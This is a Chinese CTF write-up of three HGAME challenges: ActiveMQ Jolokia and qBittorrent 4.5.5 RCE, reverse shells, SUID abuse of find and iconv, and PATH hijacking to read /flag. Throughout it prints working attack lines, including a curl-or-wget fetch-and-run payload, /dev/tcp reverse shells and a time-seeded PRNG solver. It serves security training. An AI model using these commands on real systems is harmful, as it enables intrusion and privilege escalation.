获取中...

-

Just a minute...

by:Infernity

Reverse and Escalation.

一个find提权闹麻了

这道题是ActiveMQ Jolokia 后台代码执行漏洞

https://blog.csdn.net/huangyongkang666/article/details/134814554

去github上下载一个poc

图片.png

然后打入命令

1
python3 poc.py -u admin -p admin http://47.102.184.100:31838/

等待处理完毕后进入/admin/shell.jsp?cmd=

然后就可以执行命令了,查看flag发现没权限,用suid提权试试

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

这里用第三条才行,其他两条不行。

执行发现find有root权限,那直接用find执行命令。.

图片.png

1
find /flag -exec cat /flag ;

图片.png

hgame{961c3bf5c7a186ed8e39174ccf248b1aee228479}

Reverse and Escalation II.

我得坐起来跟他打.gif 感谢M1sery

承接上一道题,这道题的find命令没法正常使用,所以不能用find执行命令的方式读出flag。在得到/admin/shell.jsp?cmd=后,发现使用find命令会让我们回答一个计算题,但是时间只在瞬息之间,手打不可能,必须用脚本。

这里第一步需要先反弹shell,才好操作。

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

普通的反弹shell语句都不可以,这篇文章提到了java中利用Runtime.getRuntime().exec来反弹shell,这里前面语句可能就是这个,所以尝试把这个语句传参打入:

1
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

测试后发现不行,那就把这段语句保存为一个文件,例如shell

然后把这个shell文件上传到自己的服务器(位置是/var/www/html/),再通过题目服务器自带的wget命令下载到题目服务器的网站根目录上,

1
wget http://47.xxx.xxx.xx/shell

这样还是不能执行shell文件,因为你ls -al发现shell的权限不够,那我们就需要给它升级权限,利用命令

1
chmod 777 ./shell

这里就得到了一个可执行的shell,然后我们回到/admin/shell.jsp页面,在服务器上开启监听,执行shell文件

1
/admin/shell.jsp?cmd=./shell

到这里反弹shell成功。

最开始我写了个bash脚本回答它给的问题,但是每次都是错误的,那可能find的内部逻辑不正确,我们把/user/bin/find这个程序下载到本地,拖到ida里逆出来拿到它的内部代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
unsigned int v6; // [rsp+20h] [rbp-10h]
unsigned int v7; // [rsp+24h] [rbp-Ch]
int i; // [rsp+28h] [rbp-8h]
int v9; // [rsp+2Ch] [rbp-4h]

v3 = time(0LL); //返回当前时间
srand(v3); //设置随机数种子
v9 = 0;
for ( i = 1; i < argc; ++i )
{
v7 = rand() % 23333;
v6 = rand() % 23333;
printf("%d + %d = \n", v7, v6);
if ( v7 + v6 != atoi(argv[i]) )
{
puts("wrong answer!");
return 1;
}
v4 = atoi(argv[i]);
printf("%d correct!\n", v4);
if ( ++v9 > 38 )
{
setuid(0); //权限升级
system("ls");
return 0;
}
}
return 0;
}

审计代码才发现,这里就是在我们执行find的时候,要回答随机数组成的39个问题,然后就会以root的权限执行system(“ls”);

而这里是以时间为种子的随机数,是伪随机数,我们可以自己写个脚本,把时间提前一点,得到的序列把39个答案卡好时间传给find就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

int main(int argc, const char **argv, const char **envp)
{
unsigned int v3;
unsigned int v4;
unsigned int v6;
unsigned int v7;
int i;
int v9;

v3 = time(0LL);
srand(v3 + 10);
printf("v3: %d\n", v3);
printf("/usr/bin/find ");
v9 = 0;
for (i = 0; i < 40; ++i)
{
v7 = rand() % 23333;
v6 = rand() % 23333;
printf("%d ", v7 + v6);
if (++v9 > 38)
{
return 0;
}
}
return 0;
}

这里是提前了10s,会生成39个答案

图片.png

我们就把这一段,直接复制到我们反弹shell的终端里,卡好10s时间,多打几次,就能成功。

1
/usr/bin/find 36230 11291 17094 25946 11960 9219 19755 17043 13268 25972 20122 25497 25726 11857 7919 28246 3433 4614 10100 9660 3632 20753 19857 14603 25764 7183 5291 15056 18010 11073 22600 16287 21642 17812 31136 19806 7802 23533 9086

但是刚刚说了,这里39次成功后,系统执行的是ls命令,我们如何修改这个部分拿到flag呢。

这里就需要我们写一个名为ls的可执行文件,把它放到/tmp目录里,然后把/tmp目录,放在$PATH环境变量的最前面,这样系统执行system(“ls”)的时候,就会在环境变量的第一个也就是/tmp目录里去找我们写的ls可执行程序,来读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

int main()
{
FILE *fp;
char c;

fp = fopen("/flag", "r");
while ((c = fgetc(fp)) != EOF)
{
putchar(c);
}
fclose(fp);

return 0;
}

这个是ls源码,我们把它静态编译成可执行程序

1
gcc -static -o ls ls.c

这样就会在我们的linux上创建一个名为ls的可执行程序。我们把它上传到我们的服务器上,在利用wget下载到题目服务器的/tmp目录里。

1
wget -P /tmp http://47.xxx.xxx.xx/ls

然后把/tmp目录,放在$PATH环境变量的最前面

1
export PATH=/tmp:$PATH

一切准备就绪,执行我们的find,拿到密码序列,然后卡时间打入find。

图片.png

时间不好卡,算好提前量多发几次。

图片.png

成功后拿到flag。

hgame{f288b31a0ca16ed51e49021c7be9ee7b614162b2}

Whose Home?

图片.png

打开是qb的web ui 登录页面,这种一般是有默认账号和密码的,我们去网上搜搜。账户admin,密码adminadmin

登录进来后,我们了解到版本是4.5.5我们去网上搜搜关于这个版本的漏洞。

https://github.com/qbittorrent/qBittorrent/issues/18731

qb的后台可以rce。

图片.png

在额外设置这里可以添加我们的rce代码。

图片.png

尝试直接反弹shell不行后,我们就直接拿文章中的payload。

先把反弹shell的命令放到我们的服务器上,我保存为1.sh

1
/bin/bash -c 'bash -i >& /dev/tcp/47.xxx.xx.xxx/2333 0>&1'

然后把payload输入进去。

1
bash -c "(curl -s -L http://47.xxx.xx.xxx/1.sh || wget -O - http://47.xxx.xx.xxx/1.sh) | bash -s"

在我们的服务器上开启监听,然后随便添加个种子链接下载,比如这个magnet:?xt=urn:btih:99986864CEF6A163775C8E9DBB662A93B05B9948

拿到了shell。

图片.png

但是我们发现flag没有权限去读

图片.png

看看有什么suid提权。从中可以看到iconv存在suid权限

图片.png

iconv如果存在suid权限,可以导致读取任意文件。

1
LFILE=/flag && iconv -f ISO-8859-1 -t UTF-8 "$LFILE"

图片.png

hgame{a81ebbed09bcfa55d3b87079c5731d43a80cfed9}

相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • XYCTF2024

    ezhttp打开是登录页面,先看源码,源码提示: 1<!-- 为了防止忘记密码,我把它们放在某个地方了 --> 第一反应是robots.txt,进去看看。 得到/l0g1n.txt,进入得到帐号密码: 12u...

    XYCTF2024